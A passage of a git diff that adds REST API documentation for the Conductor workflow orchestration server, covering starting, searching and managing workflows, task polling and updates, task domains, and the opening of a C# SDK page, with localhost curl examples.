Structured query | +| `freeText` | string | No | `*` | Free-text search (matches schedule name, workflow name) | +| `start` | integer | No | `0` | Pagination offset | +| `size` | integer | No | `100` | Page size | +| `sort` | string | No | — | Sort fields | + +**Response:** `200 OK` — `SearchResult` with execution records: + +| Field | Description | +|---|---| +| `executionId` | Unique execution record ID | +| `scheduleName` | Parent schedule name | +| `scheduledTime` | Cron slot time (epoch ms) | +| `executionTime` | Actual dispatch time (epoch ms) | +| `workflowName` | Triggered workflow name | +| `workflowId` | Triggered workflow instance ID | +| `state` | `POLLED`, `EXECUTED`, or `FAILED` | +| `reason` | Failure reason (if `FAILED`) | + +??? note "Example using cURL" + ```shell + curl 'http://localhost:8080/api/scheduler/search/executions?freeText=daily-report-schedule&size=20' + ``` diff --git a/docs/documentation/api/startworkflow.md b/docs/documentation/api/startworkflow.md new file mode 100644 index 0000000..c09e93f --- /dev/null +++ b/docs/documentation/api/startworkflow.md @@ -0,0 +1,178 @@ +--- +description: "Start Conductor workflow executions — asynchronous, synchronous, and dynamic workflow execution via REST API with curl examples." +--- + +# Start Workflow API + +## Start a Workflow (Asynchronous) + +``` +POST /api/workflow +``` + +Starts a new workflow execution asynchronously. Returns the workflow ID immediately. + +### Request Body + +| Field | Description | Required | +|---|---|---| +| `name` | Workflow name (must be registered) | Yes | +| `version` | Workflow version | No (defaults to latest) | +| `input` | JSON object with input parameters for the workflow | No | +| `correlationId` | Unique ID to correlate multiple workflow executions | No | +| `taskToDomain` | Task-to-domain mapping. See [Task Domains](taskdomains.md). | No | +| `workflowDef` | Inline [Workflow Definition](../configuration/workflowdef/index.md) for dynamic workflows. See [Dynamic Workflows](#dynamic-workflows). | No | +| `externalInputPayloadStoragePath` | Path to external payload storage. See [External Payload Storage](../advanced/externalpayloadstorage.md). | No | +| `priority` | Priority level (0–99) for tasks within this workflow | No | + +### Example + +```shell +curl -X POST 'http://localhost:8080/api/workflow' \ + -H 'Content-Type: application/json' \ + -d '{ + "name": "myWorkflow", + "version": 1, + "correlationId": "order-123", + "priority": 1, + "input": { + "customerId": "CUST-456", + "amount": 99.99 + }, + "taskToDomain": { + "*": "mydomain" + } + }' +``` + +**Response** `200 OK` — returns the workflow ID as plain text: + +``` +3a5b8c2d-1234-5678-9abc-def012345678 +``` + +### Start with Path Parameters + +``` +POST /api/workflow/{name} +``` + +Alternative way to start a workflow — specify the name in the path and pass input as the request body. + +| Parameter | Type | Description | Required | +|---|---|---|---| +| `name` | Path | Workflow name | Yes | +| `version` | Query | Workflow version | No | +| `correlationId` | Query | Correlation ID | No | +| `priority` | Query | Priority 0–99 (default: 0) | No | + +```shell +curl -X POST 'http://localhost:8080/api/workflow/myWorkflow?version=1&correlationId=order-123' \ + -H 'Content-Type: application/json' \ + -d '{"customerId": "CUST-456", "amount": 99.99}' +``` + +**Response** `200 OK` — returns the workflow ID as plain text. + +--- + +## Execute a Workflow (Synchronous) + +``` +POST /api/workflow/execute/{name}/{version} +``` + +Starts a workflow and **waits for completion** (or a specified condition) before returning the result. This eliminates the need to poll for workflow status. + +| Parameter | Type | Description | Required | +|---|---|---|---| +| `name` | Path | Workflow name | Yes | +| `version` | Path | Workflow version (use `0` for latest) | Yes | +| `requestId` | Query | Idempotency key | No (auto-generated) | +| `waitUntilTaskRef` | Query | Comma-separated task reference names to wait for | No | +| `waitForSeconds` | Query | Maximum wait time in seconds | No (default: 10) | +| `consistency` | Query | `DURABLE` or `EVENTUAL` | No (default: `DURABLE`) | +| `returnStrategy` | Query | Controls which workflow state is returned | No (default: `TARGET_WORKFLOW`) | + +Request body: a StartWorkflowRequest object (same format as the [async start](#start-a-workflow-asynchronous)). + +### Example + +```shell +curl -X POST 'http://localhost:8080/api/workflow/execute/my_workflow/1?waitForSeconds=30' \ + -H 'Content-Type: application/json' \ + -d '{ + "name": "my_workflow", + "version": 1, + "input": { + "url": "https://api.example.com/data" + } + }' +``` + +**Response** `200 OK` — returns the workflow execution result: + +```json +{ + "workflowId": "3a5b8c2d-1234-5678-9abc-def012345678", + "requestId": "req-uuid", + "status": "COMPLETED", + "output": { + "response": {...} + }, + "tasks": [...] +} +``` + +### Wait Behavior + +- If `waitUntilTaskRef` is specified, the API returns when any listed task reaches a terminal state (or a WAIT task is encountered) +- If the workflow completes before the timeout, the result is returned immediately +- If the timeout is reached, the current workflow state is returned — the workflow continues running in the background +- Sub-workflow WAIT tasks are detected recursively + +--- + +## Dynamic Workflows + +Start a one-time workflow without pre-registering its definition. Provide the full workflow definition inline via the `workflowDef` field. + +```shell +curl -X POST 'http://localhost:8080/api/workflow' \ + -H 'Content-Type: application/json' \ + -d '{ + "name": "my_adhoc_workflow", + "workflowDef": { + "ownerApp": "my_app", + "ownerEmail": "owner@example.com", + "name": "my_adhoc_workflow", + "version": 1, + "tasks": [ + { + "name": "fetch_data", + "type": "HTTP", + "taskReferenceName": "fetch_data", + "inputParameters": { + "uri": "${workflow.input.uri}", + "method": "GET" + }, + "taskDefinition": { + "name": "fetch_data", + "retryCount": 0, + "timeoutSeconds": 3600, + "timeoutPolicy": "TIME_OUT_WF", + "responseTimeoutSeconds": 3000 + } + } + ] + }, + "input": { + "uri": "https://api.example.com/data" + } + }' +``` + +**Response** `200 OK` — returns the workflow ID as plain text. + +!!! note + If a `taskDefinition` is already registered via the Metadata API, it does not need to be included inline in the dynamic workflow definition. diff --git a/docs/documentation/api/task.md b/docs/documentation/api/task.md new file mode 100644 index 0000000..6c8a5f7 --- /dev/null +++ b/docs/documentation/api/task.md @@ -0,0 +1,470 @@ +--- +description: "Conductor Task API — poll, update, search, and manage tasks. Includes batch polling, task logs, queue management, and poll data." +--- + +# Task API + +The Task API manages task execution — polling, updating, logging, and queue management. All endpoints use the base path `/api/tasks`. + +## Get Task + +``` +GET /api/tasks/{taskId} +``` + +Returns the task details for a given task ID. + +```shell +curl 'http://localhost:8080/api/tasks/a1b2c3d4-5678-90ab-cdef-111111111111' +``` + +**Response** `200 OK` + +```json +{ + "taskType": "my_task", + "status": "COMPLETED", + "referenceTaskName": "my_task_ref", + "retryCount": 0, + "seq": 1, + "startTime": 1700000001000, + "endTime": 1700000003000, + "updateTime": 1700000003000, + "pollCount": 1, + "taskId": "a1b2c3d4-5678-90ab-cdef-111111111111", + "workflowInstanceId": "3a5b8c2d-1234-5678-9abc-def012345678", + "inputData": {"key": "value"}, + "outputData": {"result": "success"}, + "workerId": "worker-host-1" +} +``` + +--- + +## Poll and Update Tasks + +These endpoints are used by workers to poll for tasks and update their results. They are typically called by the [SDK](../clientsdks/index.md), not manually. + +### Poll for a Task + +``` +GET /api/tasks/poll/{taskType}?workerid=&domain= +``` + +Polls for a single task of the given type. Returns `204 No Content` if no task is available. + +| Parameter | Description | Required | +|---|---|---| +| `taskType` | Task type to poll for | Yes | +| `workerid` | Identifier for the worker polling | No | +| `domain` | Task domain. See [Task Domains](taskdomains.md). | No | + +```shell +curl 'http://localhost:8080/api/tasks/poll/my_task?workerid=worker-1' +``` + +**Response** `200 OK` — returns a task object (same format as Get Task above), or `204 No Content` if no tasks are queued. + +### Batch Poll + +``` +GET /api/tasks/poll/batch/{taskType}?count=1&timeout=100&workerid=&domain= +``` + +Polls for multiple tasks in a single request. This is a **long poll** — the connection waits until `timeout` or at least 1 task is available. + +| Parameter | Description | Default | +|---|---|---| +| `taskType` | Task type to poll for | — | +| `count` | Maximum number of tasks to return | `1` | +| `timeout` | Long poll timeout in milliseconds | `100` | +| `workerid` | Worker identifier | — | +| `domain` | Task domain | — | + +```shell +# Poll for up to 5 tasks, wait up to 1 second +curl 'http://localhost:8080/api/tasks/poll/batch/my_task?count=5&timeout=1000&workerid=worker-1' +``` + +**Response** `200 OK` — returns a list of task objects, or an empty list if no tasks are available. + +```json +[ + { + "taskType": "my_task", + "status": "IN_PROGRESS", + "taskId": "task-uuid-1", + "workflowInstanceId": "workflow-uuid-1", + "inputData": {"key": "value1"} + }, + { + "taskType": "my_task", + "status": "IN_PROGRESS", + "taskId": "task-uuid-2", + "workflowInstanceId": "workflow-uuid-2", + "inputData": {"key": "value2"} + } +] +``` + +### Update Task + +``` +POST /api/tasks +``` + +Updates the result of a task execution. Returns the task ID. + +```shell +curl -X POST 'http://localhost:8080/api/tasks' \ + -H 'Content-Type: application/json' \ + -d '{ + "workflowInstanceId": "3a5b8c2d-1234-5678-9abc-def012345678", + "taskId": "a1b2c3d4-5678-90ab-cdef-111111111111", + "status": "COMPLETED", + "outputData": { + "result": "processed successfully", + "recordCount": 42 + } + }' +``` + +**Request body fields:** + +| Field | Description | Required | +|---|---|---| +| `workflowInstanceId` | Workflow execution ID | Yes | +| `taskId` | Task ID | Yes | +| `status` | `IN_PROGRESS`, `COMPLETED`, `FAILED`, or `FAILED_WITH_TERMINAL_ERROR` | Yes | +| `outputData` | JSON map of output data | No | +| `reasonForIncompletion` | Reason for failure (when status is `FAILED`) | No | +| `callbackAfterSeconds` | Callback delay — task will be put back in queue after this time | No | +| `logs` | List of log entries to append | No | + +**Response** `200 OK` — returns the task ID as plain text. + +### Update Task V2 + +``` +POST /api/tasks/update-v2 +``` + +Updates a task and returns the **next available task** to be processed — combining an update and poll in one call. Returns `204 No Content` if no next task is available. + +```shell +curl -X POST 'http://localhost:8080/api/tasks/update-v2' \ + -H 'Content-Type: application/json' \ + -d '{ + "workflowInstanceId": "3a5b8c2d-1234-5678-9abc-def012345678", + "taskId": "a1b2c3d4-5678-90ab-cdef-111111111111", + "status": "COMPLETED", + "outputData": {"result": "done"} + }' +``` + +**Response** `200 OK` — returns the next task object, or `204 No Content` if no tasks are queued. + +### Update Task by Reference Name + +``` +POST /api/tasks/{workflowId}/{taskRefName}/{status}?workerid= +``` + +Updates a task using the workflow ID and task reference name instead of the task ID. This is useful for completing WAIT or HUMAN tasks from external systems. + +| Parameter | Description | Required | +|---|---|---| +| `workflowId` | Workflow execution ID | Yes | +| `taskRefName` | Task reference name in the workflow | Yes | +| `status` | `IN_PROGRESS`, `COMPLETED`, `FAILED`, or `FAILED_WITH_TERMINAL_ERROR` | Yes | +| `workerid` | Worker identifier | No | + +Request body: JSON map of output data. + +```shell +# Complete a WAIT task with output data +curl -X POST 'http://localhost:8080/api/tasks/3a5b8c2d.../wait_for_approval/COMPLETED' \ + -H 'Content-Type: application/json' \ + -d '{"approved": true, "approver": "jane@example.com"}' +``` + +**Response** `200 OK` — no response body. + +### Update Task by Reference Name (Synchronous) + +``` +POST /api/tasks/{workflowId}/{taskRefName}/{status}/sync?workerid= +``` + +Same as above, but returns the **updated workflow** after the task update is processed. Useful for synchronous execution patterns where you need the workflow state immediately after updating a task. + +```shell +curl -X POST 'http://localhost:8080/api/tasks/3a5b8c2d.../wait_for_signal/COMPLETED/sync' \ + -H 'Content-Type: application/json' \ + -d '{"signal": "proceed"}' +``` + +**Response** `200 OK` — returns the full workflow execution object. + +--- + +## Task Logs + +### Add a Task Log + +``` +POST /api/tasks/{taskId}/log +``` + +Adds an execution log entry to a task. Request body: log message as a plain string. + +```shell +curl -X POST 'http://localhost:8080/api/tasks/a1b2c3d4.../log' \ + -H 'Content-Type: text/plain' \ + -d 'Processing started for batch #42' +``` + +**Response** `200 OK` — no response body. + +### Get Task Logs + +``` +GET /api/tasks/{taskId}/log +``` + +Returns execution logs for a task. Returns `204 No Content` if no logs exist. + +```shell +curl 'http://localhost:8080/api/tasks/a1b2c3d4.../log' +``` + +**Response** `200 OK` + +```json +[ + { + "log": "Processing started for batch #42", + "taskId": "a1b2c3d4-5678-90ab-cdef-111111111111", + "createdTime": 1700000001000 + }, + { + "log": "Batch #42 completed: 100 records processed", + "taskId": "a1b2c3d4-5678-90ab-cdef-111111111111", + "createdTime": 1700000003000 + } +] +``` + +--- + +## Queue Management + +| Endpoint | Method | Description | +|---|---|---| +| `/queue/all` | `GET` | Get pending task counts for all queues | +| `/queue/all/verbose` | `GET` | Get detailed queue info including per-shard counts | +| `/queue/size` | `GET` | Get queue size for a specific task type | +| `/queue/sizes` | `GET` | *(Deprecated)* Get queue sizes for task types. Use `/queue/size` instead. | +| `/queue/requeue/{taskType}` | `POST` | Requeue pending tasks of a given type | + +### Get Queue Size + +``` +GET /api/tasks/queue/size?taskType=&domain=&isolationGroupId=&executionNamespace= +``` + +Returns the queue depth for a specific task type, optionally filtered by domain and isolation group. + +```shell +curl 'http://localhost:8080/api/tasks/queue/size?taskType=my_task' +``` + +**Response** `200 OK` + +```json +5 +``` + +### Get All Queue Sizes + +``` +GET /api/tasks/queue/all +``` + +Returns a map of task type to pending count for all queues. + +```shell +curl 'http://localhost:8080/api/tasks/queue/all' +``` + +**Response** `200 OK` + +```json +{ + "my_task": 5, + "http_task": 0, + "email_task": 12 +} +``` + +### Get All Queue Details (Verbose) + +``` +GET /api/tasks/queue/all/verbose +``` + +Returns detailed queue information including per-shard counts. + +```shell +curl 'http://localhost:8080/api/tasks/queue/all/verbose' +``` + +**Response** `200 OK` + +```json +{ + "my_task": { + "size": 5, + "shards": {"0": 3, "1": 2} + } +} +``` + +### Requeue Pending Tasks + +``` +POST /api/tasks/queue/requeue/{taskType} +``` + +Requeues all pending tasks of the specified type. Useful for recovery after worker issues. + +```shell +curl -X POST 'http://localhost:8080/api/tasks/queue/requeue/my_task' +``` + +**Response** `200 OK` — returns the number of tasks requeued. + +--- + +## Poll Data + +### Get Poll Data for a Task Type + +``` +GET /api/tasks/queue/polldata?taskType= +``` + +Returns the last poll data for a given task type — useful for monitoring worker health and activity. + +```shell +curl 'http://localhost:8080/api/tasks/queue/polldata?taskType=my_task' +``` + +**Response** `200 OK` + +```json +[ + { + "queueName": "my_task", + "domain": null, + "workerId": "worker-host-1", + "lastPollTime": 1700000005000 + } +] +``` + +### Get Poll Data for All Task Types + +``` +GET /api/tasks/queue/polldata/all +``` + +Returns the last poll data for all task types. + +```shell +curl 'http://localhost:8080/api/tasks/queue/polldata/all' +``` + +**Response** `200 OK` — returns a list of poll data objects (same format as above) for all task types. + +--- + +## Search Tasks + +All search endpoints support the same query parameters: + +| Parameter | Description | Default | +|---|---|---| +| `start` | Page offset | `0` | +| `size` | Number of results | `100` | +| `sort` | Sort order: `:ASC` or `:DESC` | — | +| `freeText` | Full-text search query | `*` | +| `query` | SQL-like where clause | — | + +### Search (Summary) + +``` +GET /api/tasks/search?start=0&size=100&sort=&freeText=&query= +``` + +Returns `SearchResult` — lightweight results. + +```shell +# Find failed tasks for a specific workflow type +curl 'http://localhost:8080/api/tasks/search?query=workflowType%3D%27order_processing%27+AND+status%3D%27FAILED%27&size=10' + +# Free-text search +curl 'http://localhost:8080/api/tasks/search?freeText=timeout' +``` + +**Response** `200 OK` + +```json +{ + "totalHits": 3, + "results": [ + { + "taskId": "task-uuid", + "taskType": "my_task", + "referenceTaskName": "my_task_ref", + "workflowId": "workflow-uuid", + "workflowType": "order_processing", + "status": "FAILED", + "startTime": "2024-01-15T10:30:00Z", + "updateTime": "2024-01-15T10:30:05Z", + "executionTime": 5000 + } + ] +} +``` + +### Search V2 (Full) + +``` +GET /api/tasks/search-v2?start=0&size=100&sort=&freeText=&query= +``` + +Returns `SearchResult` — full task objects including input/output data. + +--- + +## External Storage + +``` +GET /api/tasks/externalstoragelocation?path=&operation=&payloadType= +``` + +Get the URI for external task payload storage. See [External Payload Storage](../advanced/externalpayloadstorage.md). + +```shell +curl 'http://localhost:8080/api/tasks/externalstoragelocation?path=task/output&operation=WRITE&payloadType=TASK_OUTPUT' +``` + +**Response** `200 OK` + +```json +{ + "uri": "s3://conductor-payloads/task/output/...", + "path": "task/output/..." +} +``` diff --git a/docs/documentation/api/taskdomains.md b/docs/documentation/api/taskdomains.md new file mode 100644 index 0000000..b6073cc --- /dev/null +++ b/docs/documentation/api/taskdomains.md @@ -0,0 +1,95 @@ +--- +description: "Task Domains — route Conductor tasks to specific worker groups for isolated development, testing, and canary deployments." +--- +# Task Domains +Task domains helps support task development. The idea is same "task definition" can be implemented in different "domains". A domain is some arbitrary name that the developer controls. So when the workflow is started, the caller can specify, out of all the tasks in the workflow, which tasks need to run in a specific domain, this domain is then used to poll for task on the client side to execute it. + +As an example if a workflow (WF1) has 3 tasks T1, T2, T3. The workflow is deployed and working fine, which means there are T2 workers polling and executing. If you modify T2 and run it locally there is no guarantee that your modified T2 worker will get the task that you are looking for as it coming from the general T2 queue. "Task Domain" feature solves this problem by splitting the T2 queue by domains, so when the app polls for task T2 in a specific domain, it get the correct task. + +When starting a workflow multiple domains can be specified as a fall backs, for example "domain1,domain2". Conductor keeps track of last polling time for each task, so in this case it checks if the there are any active workers (workers polled at least once in a 10 second window) for "domain1" then the task is put in "domain1", if not then the same check is done for the next domain in sequence "domain2" and so on. + +If no workers are active for the domains provided: + +- If `NO_DOMAIN` is provided as last token in list of domains, then no domain is set. +- Else, task will be added to last inactive domain in list of domains, hoping that workers would soon be available for that domain. + +Also, a `*` token can be used to apply domains for all tasks. This can be overridden by providing task specific mappings along with `*`. + +For example, the below configuration: + +```json +"taskToDomain": { + "*": "mydomain", + "some_task_x":"NO_DOMAIN", + "some_task_y": "someDomain, NO_DOMAIN", + "some_task_z": "someInactiveDomain1, someInactiveDomain2" +} +``` + +- puts `some_task_x` in default queue (no domain). +- puts `some_task_y` in `someDomain` domain, if available or in default otherwise. +- puts `some_task_z` in `someInactiveDomain2`, even though workers are not available yet. +- and puts all other tasks in `mydomain` (even if workers are not available). + + +Note that this "fall back" type domain strings can only be used when starting the workflow, when polling from the client only one domain is used. Also, `NO_DOMAIN` token should be used last. + +## How to use Task Domains +### Change the poll call +The poll call must now specify the domain. + +#### Java Client +If you are using the java client then a simple property change will force TaskRunnerConfigurer to pass the domain to the poller. +``` + conductor.worker.T2.domain=mydomain //Task T2 needs to poll for domain "mydomain" +``` +#### REST call +`GET {{ api_prefix }}/tasks/poll/batch/T2?workerid=myworker&domain=mydomain` +`GET {{ api_prefix }}/tasks/poll/T2?workerid=myworker&domain=mydomain` + +### Change the start workflow call +When starting the workflow, make sure the task to domain mapping is passes + +#### Java Client +```java +{Map input = new HashMap<>(); +input.put("wf_input1", "one"); + +Map taskToDomain = new HashMap<>(); +taskToDomain.put("T2", "mydomain"); + +// Other options ... +// taskToDomain.put("*", "mydomain, NO_DOMAIN") +// taskToDomain.put("T2", "mydomain, fallbackDomain1, fallbackDomain2") + +StartWorkflowRequest swr = new StartWorkflowRequest(); +swr.withName("myWorkflow") + .withCorrelationId("corr1") + .withVersion(1) + .withInput(input) + .withTaskToDomain(taskToDomain); + +wfclient.startWorkflow(swr); + +``` + +#### REST call +`POST {{ api_prefix }}/workflow` + +```json +{ + "name": "myWorkflow", + "version": 1, + "correlatonId": "corr1" + "input": { + "wf_input1": "one" + }, + "taskToDomain": { + "*": "mydomain", + "some_task_x":"NO_DOMAIN", + "some_task_y": "someDomain, NO_DOMAIN" + } +} + +``` + diff --git a/docs/documentation/api/workflow.md b/docs/documentation/api/workflow.md new file mode 100644 index 0000000..c06db36 --- /dev/null +++ b/docs/documentation/api/workflow.md @@ -0,0 +1,440 @@ +--- +description: "Conductor Workflow API — manage workflow executions including pause, resume, retry, restart, rerun, terminate, search, and test workflows via REST." +--- + +# Workflow API + +The Workflow API manages workflow executions. All endpoints use the base path `/api/workflow`. + +For starting workflows, see [Start Workflow API](startworkflow.md). + +## Retrieve Workflows + +| Endpoint | Method | Description | +|---|---|---| +| `/{workflowId}` | `GET` | Get workflow execution by ID | +| `/{workflowId}/tasks` | `GET` | Get tasks for a workflow execution (paginated) | +| `/running/{name}` | `GET` | Get running workflow IDs by type | +| `/{name}/correlated/{correlationId}` | `GET` | Get workflows by correlation ID | +| `/{name}/correlated` | `POST` | Get workflows for multiple correlation IDs | + +### Get Workflow by ID + +``` +GET /api/workflow/{workflowId}?includeTasks=true +``` + +| Parameter | Description | Default | +|---|---|---| +| `workflowId` | Workflow execution ID | — | +| `includeTasks` | Include task details in response | `true` | + +```shell +curl 'http://localhost:8080/api/workflow/3a5b8c2d-1234-5678-9abc-def012345678' +``` + +**Response** `200 OK` + +```json +{ + "workflowId": "3a5b8c2d-1234-5678-9abc-def012345678", + "workflowName": "order_processing", + "workflowVersion": 1, + "status": "COMPLETED", + "startTime": 1700000000000, + "endTime": 1700000005000, + "input": {"orderId": "ORD-123"}, + "output": {"paymentId": "PAY-456"}, + "tasks": [ + { + "taskId": "task-uuid", + "taskType": "HTTP", + "referenceTaskName": "validate", + "status": "COMPLETED", + "outputData": {"response": {"statusCode": 200}} + } + ], + "correlationId": "order-123" +} +``` + +### Get Tasks for a Workflow + +``` +GET /api/workflow/{workflowId}/tasks?start=0&count=15&status= +``` + +Returns a paginated list of tasks for a workflow execution. + +| Parameter | Description | Default | +|---|---|---| +| `start` | Page offset | `0` | +| `count` | Number of results | `15` | +| `status` | Filter by task status (can specify multiple) | All statuses | + +```shell +# Get first 10 tasks +curl 'http://localhost:8080/api/workflow/3a5b8c2d.../tasks?count=10' + +# Get only failed tasks +curl 'http://localhost:8080/api/workflow/3a5b8c2d.../tasks?status=FAILED' +``` + +**Response** `200 OK` + +```json +{ + "totalHits": 5, + "results": [ + { + "taskId": "task-uuid", + "taskType": "HTTP", + "referenceTaskName": "validate", + "status": "COMPLETED" + } + ] +} +``` + +### Get Running Workflows + +``` +GET /api/workflow/running/{name}?version=1&startTime=&endTime= +``` + +Returns a list of workflow IDs for running workflows of the given type. + +| Parameter | Description | Default | +|---|---|---| +| `name` | Workflow name | — | +| `version` | Workflow version | `1` | +| `startTime` | Filter by start time (epoch ms) | — | +| `endTime` | Filter by end time (epoch ms) | — | + +```shell +curl 'http://localhost:8080/api/workflow/running/order_processing?version=1' +``` + +**Response** `200 OK` + +```json +["3a5b8c2d-1234-...", "7f8e9d0c-5678-..."] +``` + +### Get Workflows by Correlation ID + +``` +GET /api/workflow/{name}/correlated/{correlationId}?includeClosed=false&includeTasks=false +``` + +| Parameter | Description | Default | +|---|---|---| +| `includeClosed` | Include completed/terminated workflows | `false` | +| `includeTasks` | Include task details | `false` | + +```shell +curl 'http://localhost:8080/api/workflow/order_processing/correlated/order-123?includeClosed=true' +``` + +### Get Workflows for Multiple Correlation IDs + +``` +POST /api/workflow/{name}/correlated?includeClosed=false&includeTasks=false +``` + +```shell +curl -X POST 'http://localhost:8080/api/workflow/order_processing/correlated?includeClosed=true' \ + -H 'Content-Type: application/json' \ + -d '["order-123", "order-456", "order-789"]' +``` + +**Response** `200 OK` — a map of correlation ID to list of workflows. + +--- + +## Manage Workflows + +| Endpoint | Method | Description | +|---|---|---| +| `/{workflowId}/pause` | `PUT` | Pause a workflow | +| `/{workflowId}/resume` | `PUT` | Resume a paused workflow | +| `/{workflowId}/restart` | `POST` | Restart a completed workflow from the beginning | +| `/{workflowId}/retry` | `POST` | Retry the last failed task | +| `/{workflowId}/rerun` | `POST` | Rerun from a specific task | +| `/{workflowId}/skiptask/{taskReferenceName}` | `PUT` | Skip a task in a running workflow | +| `/{workflowId}/resetcallbacks` | `POST` | Reset callback times for SIMPLE tasks | +| `/decide/{workflowId}` | `PUT` | Trigger the decider for a workflow | +| `/{workflowId}` | `DELETE` | Terminate a running workflow | +| `/{workflowId}/remove` | `DELETE` | Remove a workflow from the system | +| `/{workflowId}/terminate-remove` | `DELETE` | Terminate and remove in one call | + +### Pause + +``` +PUT /api/workflow/{workflowId}/pause +``` + +Pauses the workflow. No further tasks will be scheduled until resumed. Currently running tasks are **not** affected. + +```shell +curl -X PUT 'http://localhost:8080/api/workflow/3a5b8c2d.../pause' +``` + +### Resume + +``` +PUT /api/workflow/{workflowId}/resume +``` + +```shell +curl -X PUT 'http://localhost:8080/api/workflow/3a5b8c2d.../resume' +``` + +### Restart + +``` +POST /api/workflow/{workflowId}/restart?useLatestDefinitions=false +``` + +Restarts a completed workflow from the beginning. Current execution history is wiped out. + +| Parameter | Description | Default | +|---|---|---| +| `useLatestDefinitions` | Use latest workflow and task definitions | `false` | + +```shell +curl -X POST 'http://localhost:8080/api/workflow/3a5b8c2d.../restart' +``` + +### Retry + +``` +POST /api/workflow/{workflowId}/retry?resumeSubworkflowTasks=false +``` + +Retries the last failed task in the workflow. + +| Parameter | Description | Default | +|---|---|---| +| `resumeSubworkflowTasks` | Also resume failed sub-workflow tasks | `false` | + +```shell +curl -X POST 'http://localhost:8080/api/workflow/3a5b8c2d.../retry' +``` + +### Rerun + +``` +POST /api/workflow/{workflowId}/rerun +``` + +Re-runs a completed workflow from a specific task. + +```shell +curl -X POST 'http://localhost:8080/api/workflow/3a5b8c2d.../rerun' \ + -H 'Content-Type: application/json' \ + -d '{ + "reRunFromWorkflowId": "3a5b8c2d...", + "workflowInput": {"orderId": "ORD-999"}, + "reRunFromTaskId": "task-uuid", + "taskInput": {"override": true} + }' +``` + +### Skip Task + +``` +PUT /api/workflow/{workflowId}/skiptask/{taskReferenceName} +``` + +Skips a task in a running workflow and continues forward. Optionally provide updated input/output: + +```shell +curl -X PUT 'http://localhost:8080/api/workflow/3a5b8c2d.../skiptask/validate_ref' \ + -H 'Content-Type: application/json' \ + -d '{ + "taskInput": {}, + "taskOutput": {"skipped": true, "reason": "manual override"} + }' +``` + +### Reset Callbacks + +``` +POST /api/workflow/{workflowId}/resetcallbacks +``` + +Resets callback times of all non-terminal SIMPLE tasks to 0, causing them to be re-evaluated immediately. + +### Decide + +``` +PUT /api/workflow/decide/{workflowId} +``` + +Manually triggers the decider for a workflow. The decider evaluates workflow state and schedules the next tasks. Normally automatic — use this for debugging. + +### Terminate + +``` +DELETE /api/workflow/{workflowId}?reason= +``` + +| Parameter | Description | Required | +|---|---|---| +| `reason` | Reason for termination | No | + +```shell +curl -X DELETE 'http://localhost:8080/api/workflow/3a5b8c2d...?reason=cancelled+by+user' +``` + +### Remove + +``` +DELETE /api/workflow/{workflowId}/remove?archiveWorkflow=true +``` + +| Parameter | Description | Default | +|---|---|---| +| `archiveWorkflow` | Archive before removing | `true` | + +!!! warning + This permanently removes the workflow execution data. Use with caution. + +### Terminate and Remove + +``` +DELETE /api/workflow/{workflowId}/terminate-remove?reason=&archiveWorkflow=true +``` + +Terminates a running workflow and removes it from the system in one call. + +--- + +## Search Workflows + +All search endpoints support the same query parameters: + +| Parameter | Description | Default | +|---|---|---| +| `start` | Page offset | `0` | +| `size` | Number of results | `100` | +| `sort` | Sort order: `:ASC` or `:DESC` | — | +| `freeText` | Full-text search query | `*` | +| `query` | SQL-like where clause | — | + +### Search (Summary) + +``` +GET /api/workflow/search?start=0&size=100&sort=&freeText=&query= +``` + +Returns `SearchResult` — lightweight results without full workflow details. + +```shell +# Find completed workflows of a specific type +curl 'http://localhost:8080/api/workflow/search?query=workflowType%3D%27order_processing%27+AND+status%3D%27COMPLETED%27&size=10' + +# Free-text search +curl 'http://localhost:8080/api/workflow/search?freeText=order-123' +``` + +**Response** `200 OK` + +```json +{ + "totalHits": 42, + "results": [ + { + "workflowType": "order_processing", + "version": 1, + "workflowId": "3a5b8c2d...", + "correlationId": "order-123", + "startTime": "2024-01-15T10:30:00Z", + "updateTime": "2024-01-15T10:30:05Z", + "endTime": "2024-01-15T10:30:05Z", + "status": "COMPLETED", + "executionTime": 5000 + } + ] +} +``` + +### Search V2 (Full) + +``` +GET /api/workflow/search-v2 +``` + +Same parameters as search, but returns `SearchResult` — full workflow objects including task details. + +### Search by Tasks + +``` +GET /api/workflow/search-by-tasks +``` + +Search for workflows based on task-level parameters. Returns `SearchResult`. + +### Search by Tasks V2 + +``` +GET /api/workflow/search-by-tasks-v2 +``` + +Returns `SearchResult` with full workflow objects. + +### Query Syntax + +The `query` parameter supports SQL-like expressions: + +| Example | Description | +|---|---| +| `workflowType = 'order_processing'` | Filter by workflow type | +| `status = 'FAILED'` | Filter by status | +| `startTime > 1700000000000` | Filter by start time (epoch ms) | +| `workflowType = 'order_processing' AND status = 'COMPLETED'` | Combine conditions | + +The `freeText` parameter supports Elasticsearch query syntax: + +| Example | Description | +|---|---| +| `workflowType:"order_processing"` | Match workflow type | +| `order-123` | Match any field | + +--- + +## Test Workflow + +``` +POST /api/workflow/test +``` + +Test a workflow execution using mock data without actually running it. Useful for validating workflow definitions and task wiring before deployment. + +```shell +curl -X POST 'http://localhost:8080/api/workflow/test' \ + -H 'Content-Type: application/json' \ + -d '{ + "name": "my_workflow", + "version": 1, + "workflowDef": {...}, + "taskRefToMockOutput": { + "my_task_ref": { + "key": "mocked_value" + } + } + }' +``` + +**Response** `200 OK` — returns the simulated workflow execution with mocked task outputs. + +--- + +## External Storage + +``` +GET /api/workflow/externalstoragelocation?path=&operation=&payloadType= +``` + +Get the URI for external payload storage. See [External Payload Storage](../advanced/externalpayloadstorage.md). diff --git a/docs/documentation/clientsdks/csharp-sdk.md b/docs/documentation/clientsdks/csharp-sdk.md new file mode 100644 index 0000000..dc4ce49 --- /dev/null +++ b/docs/documentation/clientsdks/csharp-sdk.md @@ -0,0 +1,74 @@ +--- +description: "Build Conductor workers in C#/.NET with dependency injection, workflow management, and task polling." +--- + +# C# SDK + +!!! info "Source" + GitHub: [conductor-oss/csharp-sdk](https://github.com/conductor-oss/csharp-sdk) | Report issues and contribute on GitHub. + +## ⭐ Conductor OSS +Show support for the Conductor OSS. Please help spread the awareness by starring Conductor repo. + +[![GitHub stars](https://img.shields.io/github/stars/conductor-oss/conductor.svg?style=social&label=Star&maxAge=)](https://GitHub.com/conductor-oss/conductor/) + + +### Setup Conductor C# Package​ + +```shell +dotnet add package conductor-csharp +``` + +## Configurations + +### Authentication Settings (Optional) +Configure the authentication settings if your Conductor server requires authentication. +* keyId: Key for authentication. +* keySecret: Secret for the key. + +```csharp +authenticationSettings: new OrkesAuthenticationSettings( + KeyId: "key", + KeySecret: "secret" +) +``` + +### Access Control Setup +See [Access 